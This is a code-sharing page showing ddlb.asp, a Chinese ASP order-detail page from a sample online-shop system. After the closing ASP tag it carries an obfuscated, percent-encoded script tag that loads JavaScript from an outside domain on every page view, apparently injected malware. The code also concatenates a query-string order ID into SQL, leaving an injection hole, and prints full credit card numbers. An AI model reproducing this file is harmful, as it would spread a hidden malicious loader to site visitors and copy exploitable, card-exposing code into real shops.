⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ddlb.asp

📁 vb的一个事例,简单了一点,但实用的一个电子超市系统
💻 ASP
字号:
<%option explicit%>
<!-- #include file="shop$db.asp" -->
<%
if request.cookies("loginddcx")="" then
  response.redirect "ddcx.asp"
end if
Dim Orders
Dim Items
Dim strSQL
Dim lngOrderid
Dim lngOcustomerid
Dim datOdate
Dim curOrderamount
Dim strOlastname
Dim strOemail
Dim strOaddress
Dim strOcity
Dim strOpostcode
Dim strOstate
Dim strOcountry
Dim strOphone
Dim strOfax
Dim strOcompany
Dim strOcardtype
Dim strOcardno
Dim strOcardname
Dim strOcardexpires
Dim strOcardaddress
Dim booOprocessed
Dim strOcomment
Dim curOtax
Dim datOpromisedshipdate
Dim datOshippeddate
Dim lngOshipmethod
Dim curOshipcost
Dim strOshipname
Dim strOshipcompany
Dim strOshipemail
Dim strOshipmethodtype
Dim strOshipaddress
Dim strOshiptown
Dim strOshipzip
Dim strOshipstate
Dim strOshipcountry
Dim lngOpaymethod
Dim strOther1
Dim strOther2
Dim Dbc
dim oid
dim rc
ShopPageHeader              ' Normal page header
ShopOpenDatabase dbc            ' Open the database 
oid=request.querystring("OID")
OpenOrder                   ' pen orders and items
FormatDetails
FormatCustomer
ShopPageTrailer              ' Normal Shop page trailer
ShopCloseDatabase   dbc        ' Close the database 
'
Sub OpenOrder
dim sql
strsql = "select * from orders where 订单id=" & oid
Set Orders = Server.CreateObject("ADODB.Recordset")
Orders.open strSQL, dbc, adopenkeyset, adlockoptimistic
if (Orders.BOF and Orders.EOF) then
	WriteInfo  "找不到需要搜索的订单"
        rc=4
        exit sub
else
      GetOrderData
      strSQL = "select * FROM oitems where 订单id = " & Orders("订单id")
      Set Items = dbc.Execute(strSQL)
      if Items.EOF then
             writeInfo "订单项目丢失"
      else
       items.movefirst
      end if 
end if
end sub
Sub GetOrderData
lngOrderid = ORDERS("订单id")
		lngOcustomerid = ORDERS("客户id")
		datOdate = ORDERS("日期")
		curOrderamount = ORDERS("总金额")
		strOlastname = ORDERS("姓名")
		strOemail = ORDERS("邮箱")
		strOaddress = ORDERS("地址")
		strOcity = ORDERS("城市")
		strOpostcode = ORDERS("邮政编码")
		strOstate = ORDERS("省份")
		strOcountry = ORDERS("国家")
		strOphone = ORDERS("电话")
		strOfax = ORDERS("传真")
		strOcompany = ORDERS("公司")
		strOcardtype = ORDERS("Ocardtype")
		strOcardno = ORDERS("信用卡号")
		strOcardname = ORDERS("持卡人")
		strOcardexpires = ORDERS("Ocardexpires")
		strOcardaddress = ORDERS("持卡人地址")
		booOprocessed = ORDERS("处理")
		strOcomment = ORDERS("备注")
		curOtax = ORDERS("税金")
		datOpromisedshipdate = ORDERS("承诺送货日期")
		datOshippeddate = ORDERS("实际送货日期")
		lngOshipmethod = ORDERS("货运方式")
		curOshipcost = ORDERS("运费")
		strOshipname = ORDERS("Oshipname")
		strOshipcompany = ORDERS("Oshipcompany")
		strOshipemail = ORDERS("Oshipemail")
		strOshipmethodtype = ORDERS("Oshipmethodtype")
		strOshipaddress = ORDERS("Oshipaddress")
		strOshiptown = ORDERS("Oshiptown")
		strOshipzip = ORDERS("Oshipzip")
		strOshipstate = ORDERS("Oshipstate")
		strOshipcountry = ORDERS("Oshipcountry")
		lngOpaymethod = ORDERS("Opaymethod")
		strOther1 = ORDERS("Other1")
		strOther2 = ORDERS("Other2")
end sub

' Format details

Sub FormatDetails
dim totalprice
dim quantity
dim unitprice
dim mylink
Dim total
Dim isubtotal
dim mycolor
mycolor="#1C845F"
if boooprocessed<>0 then
   WriteInfo "This order has been processed"
end if 
Response.write "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;订单号码: " & lngOrderid & "</b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;下单日期: " & adFormatdate(datODate) & "<br>"
%>
 <table cellpadding="2" cellspacing="1" width="90%" bgcolor="#000000" align="center"> 
<tr>
    <td bgcolor="#005D39" colspan="8" align="center"><strong>订单详细资料:</strong></td>
  </tr>
  <tr>
    <td bgcolor="#005D39" align="center">商品名称</td>
    <td bgcolor="#005D39" align="center">数量</td>
    <td bgcolor="#005D39" align="center">单价</td>
    <td bgcolor="#005D39" align="center">合计</td>
  </tr>

<%
	Do While Not Items.EOF
'link to catalog item in database
mylink=Items("ItemName")        
quantity=Items("numitems")
unitprice=Items("UnitPrice")
totalprice=quantity*unitprice
%>
<td width="60%" bgcolor="<%=mycolor%>"><% = mylink%></TD>
<td width="10%" bgcolor="<%=mycolor%>"><% = quantity%></TD>
<td width="10%" align="right" bgcolor="<%=mycolor%>"><% = formatcurrency(unitprice,2)%></TD>
<td width="10%" align="right" bgcolor="<%=mycolor%>"><% = formatcurrency(totalprice,2)%></TD>
<TR>
<% 
        isubtotal=isubtotal+totalprice
	Items.MoveNext
	Loop 
        AddOthers isubtotal, total, curoshipcost,curotax,"Format"
end sub

Sub FormatCustomer
%>
<table cellpadding="2" cellspacing="1" width="90%" bgcolor="#000000" align="center">
<%
  DoHeader "客户详细资料"
  DoField "姓名", stroLastName 
  DoField  "地址" ,stroAddress
  DoField  "城市/乡镇", stroCity
  DoField  "省份" , stroState
  DoField  "邮政编码",stroPostCode 
  DoField  "国家",strocountry
  DoField   "邮箱",stroemail
  DoField  "电话",strophone
  DoField  "传真",strofax
  DoField  "公司",strocompany
  DoHeader  "具体支付资料"
  DoField   "信用卡类别",strocardtype
  DoField   "信用卡名称",strocardname
  Dofield   "信用卡号码",strocardno
  DoField   "信用卡终止日期",strocardexpires
  DoField   "持卡人地址",strocardaddress
  Doheader  "具体货运资料"
  DoField   "货运方式",stroshipmethodtype
  DoField   "货运价格", curoshipcost
  DoField   "运往",stroshipname
  Dofield   "目的地地址",stroshipaddress
  DoField   "运往城市/乡镇",stroshiptown
  DoField    "运往省份",stroshipstate 
  Dofield   "目的地邮政编码",stroshipzip
  Dofield   "收货公司",stroshipcompany
  DoField    "运往国家",stroshipcountry
%>
</TABLE>
<%
If Orders("备注") <> "" then
%>
     
  <h3>订单备注和特别请求</h3>
     <%=Orders("备注")%><br>     
<%end if%>
<%
End Sub
Sub WriteInfo (msg)
%>
<p align="center"><font color="#FF0000"><b><%=msg%></b></font></p>
<%
end sub
Sub DoHeader (mytext)
%>
  <TR>
 <TD align="center" colspan=2 bgcolor="#005D39">
        <STRONG><%=mytext%></STRONG></TD>
 </TR>
<%
end sub
Sub DoField (fieldname,fieldvalue)
%>
 <TR>
 <TD align="left" bgcolor="#1C845F"><%=fieldname%></TD>
 <TD align="left" bgcolor="#1C845F"><%=fieldvalue%></TD></TR>
<%
end sub
Function AdFormatDate(indate)
dim monthname
Dim outdate
Dim m
Dim d
dim yyyy
 monthname=array("1月","2月","3月","4月", _
            "5月","6月","7月","8月", _
            "9月","10月","11月","12月")



yyyy=Datepart("yyyy",indate)
outdate = yyyy & "年"
m=DatePart("m",indate)
m=M-1
outdate = outdate & monthname(m)
d=Datepart("d", indate)
outdate = outdate & d & "日"
AdFormatdate=outdate
end function

%><script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -